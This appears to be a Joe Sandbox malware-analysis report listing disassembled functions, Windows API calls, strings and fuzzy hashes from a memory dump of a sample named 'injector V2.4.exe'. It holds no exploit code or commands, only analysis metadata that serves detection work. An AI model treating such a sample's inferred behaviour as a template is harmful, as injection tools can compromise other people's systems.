Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: b80ad8ec9427753bd19c43c749c1e7a6895e8777f1bc1cf1977f287834bf5835
Instruction ID: 440284514adfe8866553d03c15c25954f9bf4edbf8558d3dedf6cbb6c5695892
Opcode Fuzzy Hash: b80ad8ec9427753bd19c43c749c1e7a6895e8777f1bc1cf1977f287834bf5835
Instruction Fuzzy Hash: AE31B3749012199BCB21DF25D889B8DBBB4BF08314F5041EAE41CA7291EB749F858F48

Function 004D15A0 Relevance: 4.4, APIs: 2, Instructions: 1444COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 004D2437

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: f734d1afb7f8e0a7ff887d1a83f765b1a5da56811bb99711aaa1b9d119f74d2e
Instruction ID: e63710952b32d33ba5e55e4e23a0df3a109ca494a0adf727a7362407824678c2
Opcode Fuzzy Hash: f734d1afb7f8e0a7ff887d1a83f765b1a5da56811bb99711aaa1b9d119f74d2e
Instruction Fuzzy Hash: 91A26A66A555C44FEB024AB884B93DF6FE24B6B330F6A2755C6F06F2D3D54B000B9B60

Function 004CD7F0 Relevance: 2.6, Strings: 1, Instructions: 1327COMMONLIBRARYCODE

Download Yara Rule

Strings

-g}5, xrefs: 004CD8D2

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID: -g}5
API String ID: 0-4071012034
Opcode ID: 635f9774df6186401970c7965cfb59a8e1abfbcf998ff9e11e87edb07f6da2cd
Instruction ID: ab936381409acd0909d4fdf9ee9dfb0f3064716bf013c4d997512cc0b646daf9
Opcode Fuzzy Hash: 635f9774df6186401970c7965cfb59a8e1abfbcf998ff9e11e87edb07f6da2cd
Instruction Fuzzy Hash: 9A929AA6A556C45FEF024AB8D4A93DF6FF24B6B331F5E2B5686E01F2D3C507004A9B10

Function 004E1FD2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004E1F2D,?,?,00000008,?,?,004E1AFF,00000000), ref: 004E21FF

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d1ba89dc6da8e7e4e78df253c0ae073125c004ff85d9391a5e200201bc0cfba1
Instruction ID: a45cc0b7ccb54bae993aec47de450bdc36727239c1e1e8f7bf3c44d7ce3909f7
Opcode Fuzzy Hash: d1ba89dc6da8e7e4e78df253c0ae073125c004ff85d9391a5e200201bc0cfba1
Instruction Fuzzy Hash: 9FB19E31110648DFD715CF29C58AB657BE0FF05325F298699E99ACF3A1C37ADA82CB04

Function 004DC72A Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004DB807: RtlAllocateHeap.NTDLL(00000008,?,?,?,004DA057,00000001,00000364,?,00000005,000000FF,?,004D6E25,004E9D20,0000000C), ref: 004DB848

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004DC8CB
FindNextFileW.KERNEL32(00000000,?), ref: 004DC9BF
FindClose.KERNEL32(00000000), ref: 004DC9FE
FindClose.KERNEL32(00000000), ref: 004DCA31

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: Find$CloseFile$AllocateFirstHeapNext
String ID:
API String ID: 4087847297-0
Opcode ID: 6b93817a6223a13e8ee9300d65a99d15c81bea71090dd1821ff8eae6d1fdb8a0
Instruction ID: c9d4ebbc323f38cf4e9cdc3803bad973b0eb9f5d378b4d2733b8d2b229d57869
Opcode Fuzzy Hash: 6b93817a6223a13e8ee9300d65a99d15c81bea71090dd1821ff8eae6d1fdb8a0
Instruction Fuzzy Hash: 1951587590020AAFDB24AF699CE49BFB7A9DF45318F1441AFF40993301EB388D41DB68

Function 004D5200 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 004D5216

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 20dfe55428750ba7e024f9ff9cfdb2b2054ed714c73242d01f4b3b2b5b5893f8
Instruction ID: ba4753fa85d8a366a92422bbfb5a77ad17cb6b879ccd6a3f44bf1cc14ff26f87
Opcode Fuzzy Hash: 20dfe55428750ba7e024f9ff9cfdb2b2054ed714c73242d01f4b3b2b5b5893f8
Instruction Fuzzy Hash: 9F516CB190164A8FDB14CF65D8D17AABBF0FB48310F24896BD415EB392D7B89900CF98

Function 004CF4D0 Relevance: 1.6, Strings: 1, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

Strings

k#fz, xrefs: 004CF718

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID: k#fz
API String ID: 0-1948189604
Opcode ID: d9fb44537cbe353c7a1e7b158219f8f33cd9fac01b672b5bb08337fd5f7a1026
Instruction ID: c27ed7b6c373a8a587adb595d82927dd33c65f999c35c1e78c3bf39c9fc494ef
Opcode Fuzzy Hash: d9fb44537cbe353c7a1e7b158219f8f33cd9fac01b672b5bb08337fd5f7a1026
Instruction Fuzzy Hash: CAD14176E115188FCB50CFBDC94069DB7F2AB88730F2A8329E835FB2D4D63499058B84

Function 004D5438 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00015560), ref: 004D543D

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ffae36206052220f56330bc5b14dc5843909e638caf21aadbf2ccc943c7b1a9a
Instruction ID: 985d0eb6ef256252217be44b44d02f908223c4c8e669ceae2c43a039780d35ff
Opcode Fuzzy Hash: ffae36206052220f56330bc5b14dc5843909e638caf21aadbf2ccc943c7b1a9a
Instruction Fuzzy Hash:

Function 004D9F90 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 004D9F90

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 7c918076a996628877f688e5d337c7c13e45cbce31f1b2bd8945f992c838adf6
Instruction ID: 41ac898edc0288edb1c68b1ca2c20d1541a554ebc6bf3b20e1c0d9211a465f5d
Opcode Fuzzy Hash: 7c918076a996628877f688e5d337c7c13e45cbce31f1b2bd8945f992c838adf6
Instruction Fuzzy Hash: F3A02430D01140CF47404F31DFC470D3FD577001C130040745400CC1F1D73044014705

Function 004C86C0 Relevance: .7, Instructions: 725COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 276a9053c86eca07b34e3a4bdbf311ed3d32ebc9479304920c988944e0576a13
Instruction ID: b23f0eec450c2ec287c6bcf2b5c8cf7ff31cf53e5f783db288fae85b7562c86c
Opcode Fuzzy Hash: 276a9053c86eca07b34e3a4bdbf311ed3d32ebc9479304920c988944e0576a13
Instruction Fuzzy Hash: B432C276E446844FEB018ABCC4A53DF6FF25B6B334F2A1719C5A46F3D6DA1B040A8B50

Function 004D34D0 Relevance: .6, Instructions: 607COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 296667ad6baf7cead013ff872e4ea799f9206f0cb96b2644d38c233396adc532
Instruction ID: d5404ceabcfae8aca23b6f56c7adffe64797de6744d759f4d22487d2a14f3670
Opcode Fuzzy Hash: 296667ad6baf7cead013ff872e4ea799f9206f0cb96b2644d38c233396adc532
Instruction Fuzzy Hash: C302B177A916904FEF01497CC8B93DB1BE747A7735E2A2726CAB05B3E2C55B000E9B50

Function 004CF980 Relevance: .5, Instructions: 456COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d980925b010070aeb8fe46d29fbcb31dae336f194625c143b1a33cec6d10e20
Instruction ID: 35d98e5432be27fa9ac82c70ec78496f8a9e7bbbdf5fa4b97bc6dd5fb31f9e70
Opcode Fuzzy Hash: 9d980925b010070aeb8fe46d29fbcb31dae336f194625c143b1a33cec6d10e20
Instruction Fuzzy Hash: 9EE11876A505504FDF00897CC4A87DF2BE2476A334F2A272AC9A4AF7D2D61F080E9B54

Function 004CBD50 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e34b40ed55dfb2feab314170ab10b3339afb6665abc1c31b9360fdc97e9809c
Instruction ID: b7624307329c3536a0a9f011109dedbb51be0e718b43d4f8da83b33ada280871
Opcode Fuzzy Hash: 5e34b40ed55dfb2feab314170ab10b3339afb6665abc1c31b9360fdc97e9809c
Instruction Fuzzy Hash: CCD0923A645A58AFC311CF49E880D42F7B8FB8D670B154066EA0897B21C331FC11CBE0

Function 004D90D3 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 004D91F2
___TypeMatch.LIBVCRUNTIME ref: 004D9300
CatchIt.LIBVCRUNTIME ref: 004D9351
_UnwindNestedFrames.LIBCMT ref: 004D9452
CallUnexpected.LIBVCRUNTIME ref: 004D946D

Strings

csm, xrefs: 004D9110
@]M, xrefs: 004D926D, 004D9275
81N, xrefs: 004D91E9
csm, xrefs: 004D9229
csm, xrefs: 004D917D

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: 81N$@]M$csm$csm$csm
API String ID: 4119006552-3581252686
Opcode ID: dd78979c86ecee3d00d78fee746c3598e91d40bd3c1a3ccd100f2257f487cac1
Instruction ID: 89c5baade081c99203d768e5c70df9b452572e8434443e881ca22178d8974cef
Opcode Fuzzy Hash: dd78979c86ecee3d00d78fee746c3598e91d40bd3c1a3ccd100f2257f487cac1
Instruction Fuzzy Hash: A1B18971800209EFCF14EFA5C8A19AEB7B5BF08314B14459FE805AB342D739DE52CB99

Function 004D6130 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004D6167
___except_validate_context_record.LIBVCRUNTIME ref: 004D616F
_ValidateLocalCookies.LIBCMT ref: 004D61F8
__IsNonwritableInCurrentImage.LIBCMT ref: 004D6223
_ValidateLocalCookies.LIBCMT ref: 004D6278

Strings

csm, xrefs: 004D620D
^M, xrefs: 004D6215, 004D621E, 004D622F

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: ^M$csm
API String ID: 1170836740-306190623
Opcode ID: 4308eba7da61baa27c6657838a397fca1774a7fcfc2a10b21b4e09af1ff5c974
Instruction ID: 10bd6fc9a7212e39980a42d61f3ea373bfdf868ed67eeecd2c9a58adf5c45ca1
Opcode Fuzzy Hash: 4308eba7da61baa27c6657838a397fca1774a7fcfc2a10b21b4e09af1ff5c974
Instruction Fuzzy Hash: AA411D34A00259ABCF10EF59C8A4A9FBBB0FF05318F15819BE8159B352D739EE05CB94

Function 004E0308 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(02A64B68,02A64B68,00000000,7FFFFFFF,?,004E02F3,02A64B68,02A64B68,00000000,02A64B68,?,?,?,?,02A64B68,00000000), ref: 004E03AE
__alloca_probe_16.LIBCMT ref: 004E0469
__alloca_probe_16.LIBCMT ref: 004E04F8
__freea.LIBCMT ref: 004E0543
__freea.LIBCMT ref: 004E0549
__freea.LIBCMT ref: 004E057F
__freea.LIBCMT ref: 004E0585
__freea.LIBCMT ref: 004E0595

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 915c4d1d5b7014c37cab3a00e0af89b885a9906a917bf92d6340a66cf56d0616
Instruction ID: 4c9bd532e94a19dc90903c1a54264c28535d37bf30992842d535b7d9bd8cf104
Opcode Fuzzy Hash: 915c4d1d5b7014c37cab3a00e0af89b885a9906a917bf92d6340a66cf56d0616
Instruction Fuzzy Hash: FB71F472900285ABDF21DA968C51BAF77B5DF49315F59001BE924A7381E7BCDC808B98

Function 004D883A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,004D8831,004D5F0D,004D55A4), ref: 004D8848
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004D8856
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004D886F
SetLastError.KERNEL32(00000000,004D8831,004D5F0D,004D55A4), ref: 004D88C1

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 55766f09aa7812fbca1da88773de9258f438401554638ddefe954284210f9390
Instruction ID: 9176bceb84808072de870b62150700c947d26b1c75e4414f354dacab5f0eaa3f
Opcode Fuzzy Hash: 55766f09aa7812fbca1da88773de9258f438401554638ddefe954284210f9390
Instruction Fuzzy Hash: 9801B5325192125DEA243B767CE693B2754EB517B8360033FF411493E2EF199C01728D

Function 004DCB54 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\injector V2.4.exe, xrefs: 004DCB70

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\injector V2.4.exe
API String ID: 0-660097568
Opcode ID: 274fb16de349362950db64e64a0391cbfd136562f66aa6c2c69a9c76d31bb279
Instruction ID: b9c7a278b8b291ceb0341fb9292a9a005e5bd470fe7d4d9f8698a9b6c4ce63d0
Opcode Fuzzy Hash: 274fb16de349362950db64e64a0391cbfd136562f66aa6c2c69a9c76d31bb279
Instruction Fuzzy Hash: C221C271204206AFCB20AF66ECE1D2B77A9EF443A8710452BFA1997351DB38EC40D798

Function 004D6F54 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D6656D70,?,?,00000000,004E25EB,000000FF,?,004D7015,00000002,?,004D70B1,004D83A0), ref: 004D6F89
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004D6F9B
FreeLibrary.KERNEL32(00000000,?,?,00000000,004E25EB,000000FF,?,004D7015,00000002,?,004D70B1,004D83A0), ref: 004D6FBD

Strings

mscoree.dll, xrefs: 004D6F82
CorExitProcess, xrefs: 004D6F93

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

